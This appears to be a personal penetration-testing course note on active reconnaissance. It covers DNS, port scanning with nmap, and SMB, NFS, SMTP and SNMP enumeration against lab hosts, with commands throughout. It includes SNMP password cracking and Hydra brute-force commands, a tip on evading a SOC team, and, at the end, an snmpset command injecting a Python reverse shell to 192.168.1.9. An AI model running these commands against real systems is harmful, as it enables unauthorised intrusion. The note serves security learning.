# Module 7 ( Active Info Gathering)

## DNS Enumeration

* What is DNS
* interacring with a DNS Tracffic
  * A :&#x20;
    * Maps a hostname ot an ip , "for worf" lookup/zone&#x20;

```bash
host -t A  grab.com 
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F55mrEfRuKuGRWGtToUHl%2Fimage.png?alt=media&#x26;token=b1d4fb48-9e6f-4a2e-9b6d-6b971d641638" alt=""><figcaption></figcaption></figure>

* PTR :&#x20;
  * Maps an ip to a hostname , "reverse" lookup/zone

```bash
host -t PTR  52.84.66.32
```

* CNAME :&#x20;
  * Maps an alias hostname to an A record hostname

```
host -t CNAME  52.84.66.32
```

* MX :&#x20;
  * contain the names of the servers resposible for handling email for the domain&#x20;

```bash
host -t MX grab.com 
```

* Brute force Nslookup
  * host -t A \<hostname>
  * can see admin.megacorpone.com but I will try to brute force hacktor.megacorpone.com&#x20;

    <figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FitxOIiVliHLSRSockIgi%2Fimage.png?alt=media&#x26;token=66c670a3-5ff4-4742-96fa-89dcaa9f2db2" alt=""><figcaption></figcaption></figure>

Make Script to brute force sub using bash Script :&#x20;

```bash
 for sub in $(cat /path/to/wordlist/dns.txt);do host -t A $sub.megacorpone.com | grep -v "not found" | grep "mega";done

```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FU4fbjJt64mf9cC5z34Tq%2Fimage.png?alt=media&#x26;token=077a848b-8fb7-469e-96a9-ae74666659ba" alt=""><figcaption></figcaption></figure>

And can Make Brute Force all (A,AAAA,PTR,MX)

* DNS Zone Transfers

  * Full dump of the zone files.
  * host -i \<domain name> \<dns server address>

* Automate Tools

  * DNSRecon => `dnsrecon -d megacorpone.com -t axfr`
  *

  ```
  <figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FQJyJjSd9TkE0d4RFLcIG%2Fimage.png?alt=media&#x26;token=7462ec6c-e5fd-4f90-afc8-7b5e23f9a483" alt=""><figcaption></figcaption></figure>
  ```

Dnsrecon brute force&#x20;

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FnOZxu8I3nDXhUikODiBP%2Fimage.png?alt=media&#x26;token=4ffd793d-5818-44a5-b22e-e5aec060c499" alt=""><figcaption></figcaption></figure>

* DNSEnum => dnsenum \<domain name>
  \*

  ```
  <figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FNbt5QPdaYtqBojqCcprw%2Fimage.png?alt=media&#x26;token=8e080b09-f704-4292-aa0d-1e7c0ea3a110" alt=""><figcaption></figcaption></figure>
  ```

* Other tools
  * fierce - DNSdumpster - Dnsmap - Metagoofil - foca - maltego - Dmitry - Recon-ng

### Port Scanning

* TCP / UDP Scanning
  * **TCP**
  * **UDP**
* Three way Handshake

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FCauvLn6mKqW0dtPYaymJ%2Fimage.png?alt=media&#x26;token=6f2373ff-b560-41a3-939e-ed4974d1ffdb" alt=""><figcaption><p>Three way Handshake</p></figcaption></figure>

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FQ7RQVLWsH7J2FMSS3yFW%2Fimage.png?alt=media&#x26;token=5b811234-fee8-448b-97a0-0983af673b21" alt=""><figcaption></figcaption></figure>

Ex :&#x20;

clint => nc nvlp 1234

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FhgT3x3gkdGdTobbrCBfl%2Fimage.png?alt=media&#x26;token=a3aed3f6-2f72-4153-b262-d9c692756b5e" alt=""><figcaption></figcaption></figure>

Attcker => `nc -nvv -w  192.168.1.1 1234-1236`

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fb1ODugoVSXzh9Z2zq1Lk%2Fimage.png?alt=media&#x26;token=90109035-3e6b-4b3e-a3e8-b1406bc9fbe4" alt=""><figcaption></figcaption></figure>

```bash
sudo  iptables -nvL

sudo  iptables -z

#rule
#source
sudo iptables -I INPUT 1 -s 192.168.1.8 -j ACCEPT
#clint 
sudo iptables -I OUTPUT 1 -d 192.168.1.8 -j ACCEPT  
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FfE0LUDhoz3TZ4tO9Ys46%2Fimage.png?alt=media&#x26;token=7f424aab-2a7e-4f8a-ac0f-d5205fc7f5ec" alt=""><figcaption></figcaption></figure>

* Port Scanning  Wth nmap&#x20;

  * Accountability for Our Traffic
  * TCP Connect Scanning

> How check FW With out any Soc team catch U
>
> use sudo command  beacuse can change low level Traffic
>
> Ex : sudo nmap 192.168.1.4 -p 25 -sT

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fzmw3vZ8A5B1aKawtp1x2%2Fimage.png?alt=media&#x26;token=083b4c79-1005-45ec-a5d8-c2bb7eb54934" alt=""><figcaption></figcaption></figure>

> `-sT` => Connect Scanning
>
> `-sS` => SYN Scanning
>
> `-sA` => ACK Scanning
>
> `-sF`  => Fen Scanning

UDP Scanning

```bash
sudo nmap 192.168.1.4 -sU -p 
```

### Nmap SEN

```
nmap -sn 192.168.1.1/24 -v 
```

### **OS fingerprinting**

```bash
nmap 192.168.1.4 -O
```

**Banner Grabbing/Service Enumeration**

```
nmap nmap 192.168.1.4 -sV
```

`-sV` => Service Scanning

### **Nmap Scripting Engine (NSE)**

```bash
sudo nmap --script=/usr/share/nmap/scripts/dns-zone-transfer.nse ns2.megacorpone.com  -p 53
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FxXbtm2Wyc318QH1SaKc8%2Fimage.png?alt=media&#x26;token=cb2a3bc1-4b43-4076-8e32-fbf27c0ce59b" alt=""><figcaption></figcaption></figure>

```bash
sudo nmap 192.168.1.4 --top-ports=100 -sV -sC 
```

### **Masscan**

```
suoo masscan -p80,53 192.168.1.4 --rate=1000 --interface WlanX --router-mac <macaddress>
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FKmGGYOVp8FrZhfzQ1f2S%2Fimage.png?alt=media&#x26;token=a6c35dd2-ddcb-4330-b0c6-ac60fd1bb5b0" alt=""><figcaption></figcaption></figure>

### SMB Enumeration

### nbtscan&#x20;

make scanning to show **NetBOIS**&#x20;

```bash
sudo nbtscan -r 192.168.1.1/24
```

How can show file use -v => verbose

```bash
sudo nbtscan -r 192.168.1.1/24 -v
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FxpL5aieqx4IXSS7ORk7d%2Fimage.png?alt=media&#x26;token=43b5f23b-2f76-4099-ade7-5ed1ef885438" alt=""><figcaption></figcaption></figure>

### smbclinet

{% hint style="danger" %}
With Passweord Protected ON
{% endhint %}

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fh0uEO3fpOVf06dyRYs2I%2Fimage.png?alt=media&#x26;token=f8602639-fb19-49c1-890c-4285a64ff053" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
With Passweord Protected OFF
{% endhint %}

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fn4PWMrsiHcO1iYdY2kdL%2Fimage.png?alt=media&#x26;token=ce58456d-8174-43d6-bf30-f19073bdc3c1" alt=""><figcaption></figcaption></figure>

### SMPMAP

```
smbmap -H 10.10.176.12 -u svc-admin -p management2005

```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FTbea8UYNulW6pMUe21rR%2Fimage.png?alt=media&#x26;token=40422f52-a31c-48d9-95ea-65e47c87159d" alt=""><figcaption></figcaption></figure>

### enum4linux

```bash
sudo enum4linux 192.168.1.4
```

Nmap NSE Secipting SMB

```bash
sudo nmap 192.168.1.6 -sV -P T:139,445 U:137 --script="smb-enum-*"
```

```bash
sudo nmap  10.10.10.3 -sV -P T:139,445 U:137 --script="smb-vuln-*"
```

```bash
sudo namp  192.168.1.6 -sV -P T:139,445 U:137 --script="dns-nsec-enum.nse" 
```

### NFS Enumeration

RCP Protocol

in first using nmap to scan rpc default  run in port 111

```bash
nmap 192.168.1.4 -p 111 
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FBjhlyGn74S80KEeURxXY%2Fimage.png?alt=media&#x26;token=3b6d2d8e-505e-406e-837f-aa87a06d4cc7" alt=""><figcaption></figcaption></figure>

OK i will try use NSE  rpcinfo

```bash
nmap 192.168.1.4 -p 111 --script rpcinfo
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FsXVcAFw8kRU6h0kG89cl%2Fimage.png?alt=media&#x26;token=d50c9a75-e798-4df7-bb31-383f8d824ec2" alt=""><figcaption></figcaption></figure>

### RPCINFO Tool

rpcinfo tool use to information about  rpc

```
rpcinfo 192.168.1.4
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F3iqBdphRcmpztHWTIJAx%2Fimage.png?alt=media&#x26;token=34160f7d-262f-4d98-9df7-864c6bb36e9b" alt=""><figcaption></figcaption></figure>

step 2  using showmount tool

```
sudo showmount -e 192.168.1.4
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FkdiWGzNSspfHLNioPXq8%2Fimage.png?alt=media&#x26;token=884cb565-0977-4c3f-bc55-c4f3d1da71d5" alt=""><figcaption></figcaption></figure>

**all Files and dir can pwd in my machine**

**to get all info how ?**

&#x20;

```bash
mkdir /tmp/meta 
sudo service rpcbind start
sudo mount -t nfs 192.168.1.4:/ /tmp/meta/

```

* SMTP Enumeration

* Scanning for the SMTP Service&#x20;
  * VRFY Users manual & auto
  * Nmap&#x20;
  * Metasploit

in first using nmap to scan SMTP default  run in port 25

```bash
nc -nvv 192.168.1.4 25
```

### smtp-user-enum

```bash
smtp-user-enum  -M VRFY -u root -t 192.168.1.4 -w 15
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FUNkbPSXtfeA7HCZAIaiK%2Fimage.png?alt=media&#x26;token=326743f2-af19-4537-9864-b37fd6b4ea08" alt=""><figcaption></figcaption></figure>

Using NMAP

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FREH2nCtoWyD4rPVTLCgf%2Fimage.png?alt=media&#x26;token=fb5100fe-6ab0-45cc-94b8-8fff9d312eb9" alt=""><figcaption></figcaption></figure>

### SNMP Enumeration

* Simple Network Management Protocol&#x20;
* Management information Baise (**MIB**) Object identifier  (**OID**)

#### MIB <a href="#mib" id="mib"></a>

To ensure that SNMP access works across manufacturers and with different client-server combinations, the **Management Information Base (MIB)** was created. MIB is an **independent format for storing device information**. A MIB is a **text** file in which all queryable **SNMP objects** of a device are listed in a **standardized** tree hierarchy. It contains at **least one `Object Identifier` (`OID`)**, which, in addition to the necessary **unique address** and a **name**, also provides information about the type, access rights, and a description of the respective object MIB files are written in the `Abstract Syntax Notation One` (`ASN.1`) based ASCII text format. The **MIBs do not contain data**, but they explain **where to find which information** and what it looks like, which returns values for the specific OID, or which data type is used.

#### What is OIDs ? <a href="#oids" id="oids"></a>

**Object Identifiers (OIDs)** play a crucial role. These unique identifiers are designed to manage objects within a **Management Information Base (MIB)**.

#### **OID Example** <a href="#oid-example" id="oid-example"></a>

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fsom4CdxbujT71hcuDRCX%2Fimage.png?alt=media&#x26;token=64f3ec1f-044f-409b-aa18-3f24841a6446" alt=""><figcaption></figcaption></figure>

### How do you read *an OID*?

**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**

Here is a breakdown of this address.

* 1 – this is called the <mark style="color:red;">**ISO**</mark> and it establishes that this is an OID. This is why all OIDs start with “1”
* 3 – this is called *<mark style="color:red;">**ORG**</mark>* and it is used to specify the organization that built the device.
* 6 – this is the <mark style="color:red;">**dod**</mark> or the <mark style="color:red;">**Department**</mark> of Defense which is the organization that established the Internet first.
* 1 – this is the value of the internet to <mark style="color:red;">**denote**</mark> that all communications will happen through the Internet.
* 4 – this value determines that this device is made by a <mark style="color:red;">**private**</mark> organization, not a government one.
* 1 – this value denotes that an enterprise or a business entity makes the device.

Moving on to the next set of numbers.

* 1452 – gives the <mark style="color:red;">**name of the organization**</mark>**&#x20;that&#x20;**<mark style="color:red;">**manufactured**</mark>**&#x20;this device.**
* 1 – Explain the type of device. In this case, it is an alarm clock.
* 2 – determines that this device is a remote terminal unit.

The rest of the values give specific information about the device.

* 5 – denotes a discrete alarm point.
* 1 – specific point in the device
* 3 – port
* 21 – address of the port
* 1 – display for the port
* 4 – point number
* 7 – state of the point

### Basic Information <a href="#basic-information" id="basic-information"></a>

**SNMP - Simple Network Management Protocol** is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).

Copy

```
PORT    STATE SERVICE REASON                 VERSION
161/udp open  snmp    udp-response ttl 244   ciscoSystems SNMPv3 server (public)
```

{% hint style="success" %}
SNMP also uses port **162/UDP** for **traps**. These are data **packets sent from the SNMP server to the client without being explicitly requested**.
{% endhint %}

#### SNMP Versions <a href="#snmp-versions" id="snmp-versions"></a>

There are 2 important versions of SNMP:

* <mark style="color:blue;">**SNMPv1**</mark>: Main one, it is still the most frequent, the **authentication is based on a string** (community string) that travels in **plain text** (all the information travels in plain text). **Version 2 and 2c** send the **traffic in plain text** also and uses a **community string as authentication**.
* <mark style="color:blue;">**SNMPv3**</mark>: Uses a better **authentication** form and the information travels **encrypted** using (a **dictionary attack** could be performed but would be much harder to find the correct creds than in SNMPv1 and v2).

**step 1**&#x20;

go in windows machine turn on SNMP service  Turn on windows Feature&#x20;

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FeLcI9jNnieosdk9wkCRP%2Fimage.png?alt=media&#x26;token=7216b128-8c8f-4d75-bc32-883652c57c40" alt=""><figcaption></figcaption></figure>

run `.\services.msc`

```bash
sudo nmap  -sU -p 161,162 --script=snmp-* 192.168.1.7
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FXk99UDJ933hhQuj5CNZs%2Fimage.png?alt=media&#x26;token=37686e60-6ead-4e07-b2d4-da721fe1422a" alt=""><figcaption></figcaption></figure>

161/udp <mark style="color:red;">open | filtered</mark> && 162/udp trap <mark style="color:red;">open | filtered</mark>

ok i will use **snmpbulkwalk**&#x20;

```bash
snmpbulkwalk -c Public -v2c 192.168.1.7
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FMR07qc0F12o8P9OQRVfS%2Fimage.png?alt=media&#x26;token=571c7f2b-88b9-44e7-870d-ccb419e0f3a6" alt=""><figcaption></figcaption></figure>

If you know a valid community string, you can access the data using **SNMPWalk** or **SNMP-Check**:

```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 192.168.1.7.

snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP]
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] 1.3.6.1.2.1.4.34.1.3 #Get IPv6, needed dec2hex
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] NET-SNMP-EXTEND-MIB::nsExtendObjects #get extended
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] .1 #Enum all

snmp-check [DIR_IP] -p [PORT] -c [COMM_STRING]

nmap --script "snmp* and not snmp-brute" <target>

braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```

ex snmp-check&#x20;

```bash
snmp-check 192.168.1.7 -p 161 -c Public 
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FWEBm7rRMd6wjvNodQtHS%2Fimage.png?alt=media&#x26;token=8ca619fd-609e-4bfe-9755-ffb3a47631c7" alt=""><figcaption></figcaption></figure>

### HackTricks Automatic Commands <a href="#hacktricks-automatic-commands" id="hacktricks-automatic-commands"></a>

```bash
Protocol_Name: SNMP    #Protocol Abbreviation if there is one.
Port_Number:  161     #Comma separated if there is more than one.
Protocol_Description: Simple Network Managment Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for SNMP
  Note: |
    SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).

    https://book.hacktricks.xyz/pentesting/pentesting-snmp

Entry_2:
  Name: SNMP Check
  Description: Enumerate SNMP
  Command: snmp-check {IP}

Entry_3:
  Name: OneSixtyOne
  Description: Crack SNMP passwords
  Command: onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt {IP} -w 100

Entry_4:
  Name: Nmap
  Description: Nmap snmp (no brute)
  Command: nmap --script "snmp* and not snmp-brute" {IP}

Entry_5:
  Name: Hydra Brute Force
  Description: Need Nothing
  Command: hydra -P {Big_Passwordlist} -v {IP} snmp
  
  
```

#### Running the Injected Commands <a href="#running-the-injected-commands" id="running-the-injected-commands"></a>

snmp-shell

```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```

OR&#x20;

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 192.168.1.7 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.1.9\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

```
